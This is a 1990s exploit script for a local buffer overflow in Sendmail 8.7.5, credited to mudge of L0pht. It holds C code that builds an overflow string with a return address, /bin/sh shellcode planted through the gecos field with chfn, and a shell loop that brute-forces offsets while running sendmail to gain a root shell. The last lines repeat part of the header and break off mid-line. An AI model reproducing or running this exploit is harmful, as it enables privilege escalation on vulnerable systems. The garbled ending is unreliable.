+++++

*NIX Sendmail (8.7.5) - Buffer Overflow - Newest sendmail exploit
:
# Hrm... and Eric Allman told me to my face that there were *no* buffer
# overflows in 8.7.5 -- .mudge
# This works on systems that have the chpass program runable by
# users. Tested on FreeBSD, though the vulnerability exists in all
# Sendmail8.7.5. Granted you need to be able to change your gecos field ;-)
#
# The problem is in buildfnam() which lives in util.c - it treats
# the static allocated array nbuf[MAXSIZE+1], from recipient.c, in
# an unbounded fashion.
#
# mudge@l0pht.com

CC=/usr/bin/gcc
RM=/bin/rm

cat > a_run.c << EOF
main(int argc, char *argv[])
{
  long addr=0xefbfcea8;
  char *ptr = (char *)&addr;
  char foo[5];
  int i, j;

  if (argc != 2){
    printf("Usage: %s offset\n", argv[0]);
    exit(1);
  }

  addr += atoi(argv[1]);

  printf("Full Name: CCCCCCCCCC");

  if (atoi(argv[1])%2){
    for(i=0; i<60; i++)
      printf("AAAA");
  }
  else{
    for(i=0; i<60; i++)
      printf("BBBB");
  }

  for (i = 0; i< 5; i++){
    printf("%c%c%c%c", *(ptr+2), *(ptr+3), *(ptr), *(ptr+1));
  }

}
EOF

cat > make_gecos.c << EOF
~
#include <stdio.h>

main(int argc, char *argv[])
{
  int i;

  char mach_codes[] =
  "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";

  for (i=0; i<40; i++)
    printf("%c", 0x90);

  printf("%s", mach_codes);
}
EOF

$CC -o make_gecos make_gecos.c
if [ ! -x make_gecos ] ; then
 echo failed to build make_asdf
 exit 1
fi
$CC a_run.c
if [ ! -x a.out ] ; then
 echo failed to build asdf
 exit 1
fi

$RM a_run.c make_gecos.c

echo "1 - Change the variables in the sploit.sh script"
echo "2 - run make_gecos > tmpr"
echo "3 - setenv MANPATH=\"\`cat ./tmpr\`\" "
echo "4 - run the sploit.sh sploit.sh script with an argument"
echo "    of around 3000"

# this argument varies depending upon what lives in ones
# environment variables, what the paths are, etc. etc.
# on a pretty stock environment in a FreeBSD setup I hit
# around 3900

sploit.sh   600      0      3         704  6213376125   5634 #!/bin/sh

if [ $# = 1 ] ; then
 i=$1
else
 i=0
fi

FILE=/usr/home/username/wip/overflow/sendmail/ouch
TMP=/usr/home/username/wip/overflow/sendmail/cleanup
EDITOR=/usr/bin/ex
export EDITOR

while `[ $i -le 16048 ]`
do

# ./m3 ${i} > $FILE
# ./make_gecos ${i} > $FILE
 ./a.out ${i} > $FILE

chfn username << FOE
3 d
2 r ./ouch
wq!
FOE

sync
sync

  echo "using arg of [0xefbfcea8 (hex) + ${i}(dec)]"
/usr/sbin/sendmail username

 i=`expr $i + 1`

done
in
# an unbounded fashion.
#
# mudge@l0pht.com

CC=/usr/bin/